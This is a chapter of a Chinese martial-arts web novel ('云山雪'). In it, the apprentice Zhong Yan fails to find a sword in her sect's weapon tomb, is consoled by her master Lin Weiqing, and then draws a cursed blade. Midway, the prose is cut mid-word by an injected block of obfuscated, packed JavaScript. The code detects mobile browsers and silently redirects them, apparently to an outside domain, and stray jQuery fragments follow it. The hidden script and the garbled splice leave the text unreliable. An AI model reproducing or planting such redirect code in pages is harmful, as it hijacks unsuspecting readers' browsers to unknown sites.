10. 无可奈何花落去·其十
作品:《云山雪》 练功、制药,日子一晃而过。
这日乔四儿从药庐出来,正仰着腰揉着僵了的脊柱,忽见一个绰约人影正往初昀阁方向闪身而去……
乔四儿揉了揉眼睛,定睛再看,眼前却只剩下一片淹没在暮色里的苍茫远山,了无痕迹。
她疑惑地眨眨眼,又掰着指头数了数,方恍然地一撇嘴——
七日之期已到,是沉樾出思过居了。
一出来就往钟滟的故居跑,他是在那儿藏了肉骨头吗?
乔四儿摇了摇头,也不知自己在酸些什么。转念一想,衣食父母好容易出了关,明日的早饭终于不再是白馍,而是一整桌滋香味美花样繁多的可口饭菜……她又立刻很没出息地欢欣雀跃起来,脚步轻快地踱回了自在居。
忙了一整日,草草收拾完内务,乔四儿几乎沾枕即眠。
正睡得香甜,忽觉脑后一烫,她竟又猝不及防地跌入了一个梦境——
“呜呜呜……”少女熟悉的哭声又在耳边回荡,只是这次少了几分娇娆,多了分伤情。
“好了好了,滟儿乖,师兄回去给你做你最喜欢的樱桃肉和杏仁乳酪好不好?咱们不哭了!”沉樾亦步亦趋地跟在钟滟身后,手臂虚拢在少女单薄的肩上,想抱住她安慰又不敢,一通手足无措地哄着。
“哼……眠器冢里都是堆什么破铜烂铁!有眼无珠!”少女吸了吸鼻子,洇着一双红彤彤的眼,一叉小腰怒骂道。
“就是!有眼无珠!咱们滟儿大人不记小人过,不要跟它们一般见识啊……”沉樾见她自个儿止了哭,眸中一亮,赶忙跟着义愤填膺地骂将起来。
“可是……呜……”钟滟樱粉般柔嫩的唇颤抖几下,徒然一瘪,忍不住又爆出一声哭音:“可是明明你们都有,二师兄你的横霜剑多漂亮呀……连杨沉碧都有三把剑可选!”
“呜呜呜……它们凭什么……凭什么不选我!”少女越说越气,半分不理身后的少年,掩着面几步往前飞奔而去。
刚回到玄晖峰,少女便蹲下身将脸蜷缩进双膝间,嚎啕大哭起来。
那哭声直将沉玉也引了来,两人围着少女温言细语的宽慰了半天,钟滟却只埋头膝间,迟迟不肯起身,赌着气谁也不理。
“何事喧闹?”
“师父!”
不想竟惊动了林维清,师父素来严正,沉玉生怕师妹受罚,忙解释道:“师妹今日第一次去眠器冢选兵器,一时没挑到趁手的。恰逢杨沉碧师妹刚选到了心仪之剑,两人生了些口角,师妹便有些委屈,还请师父莫怪。”
“你和樾儿先去用饭吧。”林维清负手站在逆光处,脸上是惯来的平静,并看不出来是否动气。
沉玉欲应是,却被沉樾抢道:“师父,不是滟儿不争气,定是那杨沉碧使了坏,抢先将容易挑得都挑走了!”
林维清眉心微蹙,训斥道:“眠器冢内的兵器认主,素来只看机缘,并无难易之分。怎能不分是非便随意以恶度人?为师看你近日来心思愈发浮躁,去戒心堂领一戒鞭,再将门规抄上三遍,静静心。”
沉樾背脊挺得直直的,倔强顶道:“您罚我多少鞭都行,别罚师妹!”
林维清倒被气笑了,刚欲开口,却被钟滟扯了衣袖。少女的双眼红肿得像条泡泡金鱼,可怜巴巴地求道:“师父,都是滟儿不好,您不要罚师兄鞭子,好痛的……求你了!”
林维清不语。
这下钟滟急了,跳起来横身挡在两人之间,锤了沉樾胸口一拳,小声威胁道:“臭阿樾,快认错啊!你想挨鞭子吗!”
看着少女眼中的焦急,沉樾虽仍有不服,还是一咬牙便折了腰,对着林维清温驯道:“弟子知错,请师父恕罪。”
林维清本就不计较,只道:“也罢,鞭子免了,回去好好抄一遍门规。只有心静,方能练好剑,你可明白?”
“多谢师父体谅。”一旁的沉玉舒了口气,上前一把拽走了仍梗在原地的少年。
见这傻小子一边走还一步三回头,沉玉恨铁不成钢地揪了把倔强少年的耳朵,提点道:“师父根本没想真罚你,你没见经过这一遭,师妹已经不哭了吗?”
“哦……”沉樾挠了挠头,回头却见少女正依偎在师父怀里,只听林维清说了句什么,便浅笑起来……
被那百合花般嫣然的笑意刺了一下,少年一瞬握紧了拳。
“谁说我没挨过鞭子就不知有多痛的!”钟滟鼓着腮帮,揪着林维清的衣袖噘嘴道:“我虽没去过戒心堂内里,可上次杨沉朱杨沉碧在里面领戒鞭时,我就在屋顶偷听!她们俩一通哭爹喊娘,叫得跟杀猪似的,别提有多惨了!”
“胡闹。”
看着少女骤阴乍晴的面容,林维清没忍住刮了下她纤巧挺翘的鼻尖,口中的训斥也失了气势:“戒心堂都敢放肆,若是被迟严师叔祖抓起来,为师也救不了你。”
钟滟缩了缩脖子,双手自然地环上林维清的臂弯,甜甜贫道:“滟儿的轻功那样差,迟严长老怎么可能没发现?定是看在师父的面子上才不抓滟儿的!”
“你也知道啊。”林维清摇头一叹,无奈道:“为师的脸面薄,劳你往后还是少淘气些,好歹给为师留上一点罢。”
少女一瞬被逗得笑靥如花,见师父已然转身欲走,忙匆匆跟上。
她还想诉苦,却觉方才满肚子的心酸委屈早被驱得一干二净,此时只得干巴巴地挤出一点残余的泪花,生硬哭道:“师父……滟儿今天要被气死了。”
“嗯。”林维清脚步未停,漫不经心地应了一声。
“师父——”钟滟瘪了瘪嘴,几步小跑跟上林维清的步伐,不依不挠地诉起苦来:“您不知道,眠器冢里有那么多把奇形怪状的剑,我在那儿站了半天,偏就没有一把肯认我!滟儿虽然笨了点,进境慢了一点,也没有差成那样吧!”
“是笨了点。”林维清随口应道。
“师父!”钟滟一瞬炸了毛。
林维清等了片刻,却未如意料中一般听到少女的娇叱,只得停下脚步转身看了一眼。
少女呆立在原地,死死盯着地面,碎乱的刘海盖住了她的所有表情,悲喜难辨。
一滴水珠砸开了地上的尘土,很快,第二滴,第三滴……
少女瘦削的肩膀微微颤抖着,被身后的斜阳一染,更显得娇小孤寂,楚楚可怜。
——为什么眠器冢的每一剑都不肯认她,难道连剑也看不起她,就因为她是走后门进来的吗?
林维清盯了片刻,终是叹了一声,几步上前,安慰性地拍了拍小徒弟的背,为她顺气。
少女却一头撞进了他的怀里。
她瘦得跟小猫儿一般,埋在他胸口瑟瑟抽泣,泪液很快浸透了单薄的夏衣,滚滚烫在前胸心口,让人难免生出几分怜惜来。
林
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15626715|172401||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
维清浅浅抚过怀中少女的发丝,思量许久,终是被她哭得心软,松口道:“今日你在眠器冢,定是没有仔细分辨。”
“怎么可能……”少女的脑袋仍死死埋在他胸间不肯出来,声音也有些闷闷的:“我甚至在每一把剑前都认真问过了,可就是……没有一把肯让我拔出来!”
林维清敛眸默了片刻,缓缓提点道:“眠器冢内,便只有剑吗?”
“可我连剑都拔不出来……”钟滟沮丧地嘟哝着。
剑是百兵之首,也是眠器冢内最寻常的兵器,若连剑都拔不出来,还有什么别的兵器能看上她呢?
可师父从不说没把握的话,那定是有别的什么……
少女仔细回想了片刻,脑中忽然炸开一道火花——
今日她刚进眠器冢,被满目琳琅兵刃晃得眼花缭乱,正满心兴奋地东摸西逛时,手心好像曾被墙上的什么烫了一下。当时她正踌躇满志,一心想着定要挑一把神兵去杀杀杨沉碧的威风,便未曾放在心上……
能在眠器冢墙上挂着的,大都是来头不简单的名家名器!
她之前可是连想都未敢想过!
“多谢师父提点!”
少女惊喜的笑颜一瞬让满山夏花都失了颜色,蹦跳着丢下一句,便提着裙摆匆匆跑了。
看了会儿少女远去的背影,林维清摇头轻叹一声,转身往韩维德所在的青钢峰去了。
三日后,一道惊雷在云山宗内炸开——
沉字辈这代功力最差的弟子,学什么都半吊子的小拖油瓶钟滟,竟拔出了眠器冢内的禁刀蛟荧!那可是挂在眠器冢墙上的神兵,眼高于顶,百年以来也没瞧上一个云山弟子。
相传蛟荧乃是一柄魔刀。
此刀桀骜不驯,有惑人心智之力,若是持有者意志不坚,反会被魔刀所控,不能自己。魔刀虽会噬无能之主,但数百年来被它选中之人,无不是武林之中惊才绝艳的佼佼者。
其中最有名的,便是它的上一任主人,倾城一刀叶飞烟。
为报杀兄之仇,一人一马一刀,连挑西南三十六寨,塞北七十二帮。在手刃最后一个仇人后,竟挖出了兄长的尸骸,抱着兄长尸身于忘生崖上一跃而下。
从此伊人不见,只余在山壁上刻下「霜刃覆雪,如共白头」遗言的蛟荧刀,久久停留在绝壁间,为百年前一位师姑游历时带回。
掌管眠器冢的韩维德脸色铁青,却碍于器冢兵刃能拔出便能带走的规矩,到底未再说什么。只能任那精疲力尽满身狼狈的小丫头,带着那柄湛银似能夺日月的不祥之刃离开。
“师父!怪不得没有一把剑敢应我的呼唤,原来是有蛟荧压着它们!”
钟滟宝贝似的紧紧抱着蛟荧刀,一路上已兴奋得不知念了多少遍。
来接她的林维清一言不发,只听着少女在背后一路如小麻雀般叽叽喳喳。
“师父……”
终于,沉浸在兴奋中少女发现了气氛不对,迟疑了片刻,怯怯问道:“我取回蛟荧,让您不高兴了吗?”
林维清却摇头一笑,俯身摸了摸少女的头,语声清浅:“罢了,总有师父在呢。”
少女被这高深莫测的一句说糊涂了,却沉浸在师父难得一见的笑容里,一时便什么都忘了。
钟滟跟在林维清身后继续走着,不知为何,手中的蛟银突然越来越烫,竟有握持不住之感……